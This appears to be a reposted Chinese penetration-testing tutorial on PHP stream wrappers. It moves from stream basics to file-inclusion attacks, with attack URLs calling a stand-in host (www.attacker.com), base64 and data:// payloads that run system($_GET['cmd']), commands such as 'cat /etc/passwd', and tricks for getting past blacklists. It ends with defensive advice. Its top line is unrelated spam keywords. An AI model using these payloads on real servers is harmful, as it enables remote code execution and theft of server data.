真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

PHPStreamWrappers的利用技巧是怎樣的

PHP Stream Wrappers的利用技巧是怎樣的,相信很多沒(méi)有經(jīng)驗(yàn)的人對(duì)此束手無(wú)策,為此本文總結(jié)了問(wèn)題出現(xiàn)的原因和解決方法,通過(guò)這篇文章希望你能解決這個(gè)問(wèn)題。

10年積累的做網(wǎng)站、網(wǎng)站建設(shè)經(jīng)驗(yàn),可以快速應(yīng)對(duì)客戶(hù)對(duì)網(wǎng)站的新想法和需求。提供各種問(wèn)題對(duì)應(yīng)的解決方案。讓選擇我們的客戶(hù)得到更好、更有力的網(wǎng)絡(luò)服務(wù)。我雖然不認(rèn)識(shí)你,你也不認(rèn)識(shí)我。但先建設(shè)網(wǎng)站后付款的網(wǎng)站建設(shè)流程,更有羅湖免費(fèi)網(wǎng)站建設(shè)讓你可以放心的選擇與我們合作。

流(Streams)這個(gè)概念是在php4.3引進(jìn)的,是對(duì)流式數(shù)據(jù)的抽象,用于統(tǒng)一數(shù)據(jù)操作,用于統(tǒng)一數(shù)據(jù)操作,比如文件數(shù)據(jù)、網(wǎng)絡(luò)數(shù)據(jù)、壓縮數(shù)據(jù)等。簡(jiǎn)單點(diǎn)講,流就是表現(xiàn)出流式數(shù)據(jù)行為的資源對(duì)象。

了解 IT 中的流

當(dāng)不同的介質(zhì)之間有數(shù)據(jù)交互的時(shí)候,就使用流來(lái)實(shí)現(xiàn)。數(shù)據(jù)源和目標(biāo)可以是文件,TCP/IP或UDP網(wǎng)絡(luò)連接,標(biāo)準(zhǔn)輸入和輸出,文件服務(wù)器上的文件傳輸或文件存檔過(guò)程。即使這些流看起來(lái)彼此差異很大,但它們卻有一個(gè)共同的線(xiàn)程:它們基本上都是讀寫(xiě)的過(guò)程。你可以將數(shù)據(jù)從源寫(xiě)入到目標(biāo),也可以將從源讀取的數(shù)據(jù)傳輸?shù)侥繕?biāo)。大致過(guò)程如下:

連接建立

數(shù)據(jù)讀取

數(shù)據(jù)寫(xiě)入

連接結(jié)束

即使基本操作是讀寫(xiě),也需要執(zhí)行其他操作才能訪問(wèn)Web服務(wù)器或存檔文件,或是執(zhí)行簡(jiǎn)單的輸入和輸出過(guò)程,以及通過(guò)TCP/IP或UDP建立連接。

流操作中的通用函數(shù)

我們可以通過(guò)PHP中的一些通用函數(shù)與流進(jìn)行交互:

fileopenfwritefclosefile_get_contentsfile_put_contents

在PHP中,你可以使用通用函數(shù)來(lái)執(zhí)行各種流操作,而無(wú)需使用單獨(dú)的函數(shù),從而使整個(gè)過(guò)程更加簡(jiǎn)單。

直到今天,這些函數(shù)仍是流概念的主要部分并用于文件讀寫(xiě)過(guò)程。我們現(xiàn)在可以在PHP中使用wrapper(包裝器)來(lái)執(zhí)行各種流處理,例如HTTP,F(xiàn)TP,SOCKET進(jìn)程和標(biāo)準(zhǔn)輸入/輸出進(jìn)程。

如果要使用流,則需要以特定格式指定其類(lèi)型和目標(biāo)。我們將在通用函數(shù)中使用的流類(lèi)型定義如下:

://

占位符用于指定我們將使用的流類(lèi)型,如File,F(xiàn)TP,PHPOUTPUT,PHPINPUT,HTTP或SSL。

如果你是PHP程序員,你應(yīng)該熟悉以下代碼。它會(huì)讀取some.txt文件并打印其內(nèi)容。

在代碼中,我們使用file://system wrapper調(diào)用fopen通用流函數(shù)。從技術(shù)上講,上面的代碼與以下代碼完全相同:

由于流函數(shù)中的默認(rèn)包裝器是file://,因此如果要使用它,則不必進(jìn)行指定。

你可以使用以下代碼列出允許使用的包裝器。

流上下文概念

對(duì)于大多數(shù)用例,流函數(shù)的默認(rèn)用法可能已經(jīng)足夠。但是在某些情況下,你需要的不僅僅是默認(rèn)用法。

我們假設(shè)可以使用file_get_contents命令來(lái)讀取http://www.example.com/news.php上的新聞。但是,如果該網(wǎng)站需要某種形式的身份驗(yàn)證才能訪問(wèn)其內(nèi)容呢?在這種情況下,你可以使用流上下文(Stream-Context)規(guī)范使用可選參數(shù)自定義流行為。

以下是一段流上下文的示例代碼:

   array(
           'method' => 'POST',
           'header' => 'Content-type: application/json;charset=utf-8;\r\n'.
               'Content-Length: '.mb_strlen($postdata),
           'content' => $postdata
       )
   );

   $context = stream_context_create($opts);
   $response = file_get_contents('http://www.example.com/news.php', false,
   $context);

如上所示,流上下文實(shí)際上是一個(gè)數(shù)組。上面的鍵值表示將在上下文中使用的包裝器類(lèi)型(本例中為HTTP)。每個(gè)包裝器都有各自的上下文參數(shù)。你可以在PHP文檔中閱讀有關(guān)它們的更多信息。

PHP 流過(guò)濾器

以上我們對(duì)流的讀寫(xiě)過(guò)程已有了一個(gè)初步的了解。流包裝器的主要優(yōu)點(diǎn)是可以在讀/寫(xiě)過(guò)程中即時(shí)的修改,更改或刪除數(shù)據(jù)。

PHP為我們提供了一些流過(guò)濾器(string.toupper,string.tolower,string.rot13和string.strip_tags)。除此之外,還可以使用各種自定義過(guò)濾器。

我們可以使用stream_append_filter函數(shù)在流上應(yīng)用過(guò)濾器。例如,下面的過(guò)濾器會(huì)將所有讀取的句子轉(zhuǎn)換為大寫(xiě):

在data.txt中讀取的信息將以大寫(xiě)形式顯示在屏幕上。

你還可以使用php://filter wrapper向流添加過(guò)濾器:

流開(kāi)始傳輸時(shí)將調(diào)用該方法。與第一個(gè)示例相比,該方法對(duì)于之后不允許過(guò)濾器附件的函數(shù)(如file()和fpassthru())更為可行。

你可以使用過(guò)濾器進(jìn)行編碼(rot13,base64)或文件壓縮和提取。

除了PHP和預(yù)定義的包裝器之外,你還可以使用第三方包裝器(如Amazon S3或Dropbox),并為特定操作編寫(xiě)自定義包裝器。

在此之前我們給出的示例屬于本地文件包含(LFI)類(lèi)目,其中包括將目標(biāo)系統(tǒng)中的文件包含在代碼中以提取系統(tǒng)的數(shù)據(jù)。

在遠(yuǎn)程文件包含中 PHP Wrappers 的使用

除了LFI之外,還可以遠(yuǎn)程向Web應(yīng)用注入代碼,即遠(yuǎn)程文件包含(RFI)。

以下是一段示例代碼:

使用這段代碼,你可以使用鏈接瀏覽網(wǎng)站,例如www.example.com/?go=contact和www.example.com/?go=products。

但是,這段代碼有一個(gè)根本的缺陷。假設(shè)在遠(yuǎn)處的某個(gè)服務(wù)器中有一個(gè)名為malscript.txt的文件,該文件包含以下代碼:

這是包含以上代碼文件的URL:http://www.attacker.com/malscript.txt

然后,攻擊者將調(diào)用以下URL加載該惡意腳本。

www.example.com/?go=http%3A%2F%2Fwww.attacker.com%2Fmalscript.txt

開(kāi)發(fā)人員添加的.php擴(kuò)展名在此示例中顯示為barrier(屏障)。在RFI攻擊中,想要繞過(guò)它非常的容易。

這是攻擊者提供的URL:http://www.attacker.com/malscript.txt?q=。這是攻擊者為了執(zhí)行攻擊而需要訪問(wèn)的完整URL:

www.example.com/?go=http%3A%2F%2Fwww.attacker.com%2Fmalscript.txt%3Fq%3D

使用攻擊URL中的“?q=”字符繞過(guò).php barrier。這只是一個(gè)例子,在多數(shù)情況下你可以使用適當(dāng)?shù)臄U(kuò)展名托管文件。這個(gè)技巧對(duì)于服務(wù)器端請(qǐng)求偽造攻擊(CSRF)也非常有用。

.txt文件從遠(yuǎn)程服務(wù)器被注入到PHP函數(shù)中,文本文件中的代碼將作為網(wǎng)站代碼的一部分被執(zhí)行。phpinfo()函數(shù)將為我們顯示服務(wù)器的敏感信息。

在該示例當(dāng)中,我們僅僅只是讀取了服務(wù)器的信息。如果我們將其中的代碼更改為其它PHP命令又會(huì)發(fā)生什么呢?如下所示:

可以看到,現(xiàn)在我們可以利用RFI執(zhí)行系統(tǒng)命令了。此代碼允許攻擊者通過(guò)將其作為GET參數(shù)提供,來(lái)執(zhí)行他們想要執(zhí)行的任何命令:

我們?cè)俅问褂门c前面示例相同的腳本URL:http://www.attacker.com/malscript.txt?q=。但這次我們可以提供一個(gè)系統(tǒng)命令作為CMD的GET參數(shù):

www.example.com/?cmd=uname+-a&go=http%3A%2F%2Fwww.attacker.com%2Fmalscript.txt?q=

此時(shí),服務(wù)器可以根據(jù)攻擊者的請(qǐng)求運(yùn)行各種命令。

如果無(wú)法使用查詢(xún)字符串覆蓋 .php extension barrier,則可以使用該擴(kuò)展名。你需要為此創(chuàng)建一個(gè)PHP文件,并在將其上傳到服務(wù)器之前包含以下代碼。

以下是backdoor.php文件中的內(nèi)容:

';

因此,攻擊者需要提供的新鏈接為:http://www.attacker.com/backdoor。這是攻擊者為了執(zhí)行攻擊而需要訪問(wèn)的鏈接:

http://example.com/?cmd=cat%20/etc/passwd&go=http%3A%2F%2Fwww.attacker.com%2Fbackdoor

PHP將執(zhí)行此代碼:

使用 Stream Wrappers 繞過(guò)黑名單列表

如果開(kāi)發(fā)人員開(kāi)始采取防御措施并過(guò)濾掉了一些輸入,那么我們又該怎么辦?例如,不允許在參數(shù)中使用http://。

其實(shí)解決方案很簡(jiǎn)單,你可以使用其他選項(xiàng),例如php://input wrapper,而不是已過(guò)濾的http:// wrapper。

在利用RFI漏洞時(shí),如何使用包裝器來(lái)獲取POST請(qǐng)求主體的輸入并將其發(fā)送給PHP編譯器呢?

以下是一個(gè)請(qǐng)求示例:

POST http://www.example.com?go=php://input%00 HTTP/1.1
Host: example.com
Content-Length: 30

如上所示,即使過(guò)濾掉了http://和file:// wrapper,我們?nèi)匀豢梢允褂胮hp://input wrapper來(lái)利用此漏洞。

即使開(kāi)發(fā)人員將php:// wrapper和允許系統(tǒng)級(jí)命令執(zhí)行的其他PHP命令(如system,cmd)列入黑名單,我們?nèi)匀挥修k法覆蓋barriers。在這種情況下,我們可以使用data:// wrapper,其作用是將傳遞給它的輸入作為類(lèi)型和值傳遞給PHP流函數(shù)。

以上的代碼為:

如果允許使用data:// wrapper,攻擊者只需使用以下代碼而無(wú)需托管外部文件:

data://text/plain, 

這是最終請(qǐng)求的URL編碼版本:

data%3a%2f%2ftext%2fplain%2c+%3c%3fphp+system(%24_GET%5b%22cmd%22%5d)%3b+%3f%3e
http://www.example.com/?go=data%3a%2f%2ftext%2fplain%2c+%3c%3fphp+system(%24_GET%5b%22cmd%22%5d)%3b+%3f%3e

使用cmd參數(shù),任何代碼請(qǐng)求都將被執(zhí)行。例如,想要獲取系統(tǒng)信息,可以使用uname -a命令,但必須先對(duì)其進(jìn)行編碼。

用于攻擊的URL:

http://www.example.com/?cmd=uname+-a&go=data%3a%2f%2ftext%2fplain%2c+<%3fphp+system(%24_GET%5b"cmd"%5d)%3b+%3f>

前面我們已經(jīng)假設(shè)開(kāi)發(fā)人員將system和cmd等關(guān)鍵字列入了黑名單中。那么,我們有什么可以代替的解決方案呢?

幸運(yùn)的是data:// wrapper支持base64和rot13編碼。因此,你必須對(duì)將用于利用base64中漏洞的PHP代碼進(jìn)行編碼,并發(fā)出以下請(qǐng)求:

PHP code:

這是漏洞利用的base64編碼版本。PHP將對(duì)其進(jìn)行解碼并執(zhí)行。

PD9waHANCnN5c3RlbSgkX0dFVFsiY21kIl0pOw0KPz4=

你將發(fā)出請(qǐng)求的URL:

http://www.example.com/?cmd=uname+-a&go=data://text/plain;base64,PD9waHANCnN5c3RlbSgkX0dFVFsiY21kIl0pOw0KPz4=

go參數(shù)下的腳本代碼(base64編碼)已經(jīng)準(zhǔn)備好使用“cmd”參數(shù)在操作系統(tǒng)級(jí)別執(zhí)行命令。

這里主要介紹了一些PHP Stream Wrappers在滲透測(cè)試中的利用技巧,以及讓大家對(duì)此有了更為深入的了解。這些包裝器也可以用來(lái)繞過(guò)某些安全過(guò)濾器。正如上面例子中所說(shuō)的那樣,由于攻擊范圍不斷增加,使用黑名單幾乎已不可能確保安全性。將接收的函數(shù)和文本輸入列入白名單而不是將關(guān)鍵字(如http://,file://,php://,system和cmd)列入黑名單,并在每次發(fā)現(xiàn)新的攻擊媒介時(shí)及時(shí)的更新它們將更為有效??梢哉f(shuō),效率是保護(hù)Web應(yīng)用程序安全性的關(guān)鍵。

除此之外,你還可以禁用遠(yuǎn)程文件包含功能,并且永遠(yuǎn)不要讓用戶(hù)在可能實(shí)現(xiàn)遠(yuǎn)程文件包含和執(zhí)行代碼的函數(shù)中控制輸入,例如require,include,require_once,include_once等。

看完上述內(nèi)容,你們掌握PHP Stream Wrappers的利用技巧是怎樣的的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝各位的閱讀!


本文標(biāo)題:PHPStreamWrappers的利用技巧是怎樣的
當(dāng)前路徑:http://weahome.cn/article/jgidhe.html

其他資訊

在線(xiàn)咨詢(xún)

微信咨詢(xún)

電話(huà)咨詢(xún)

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部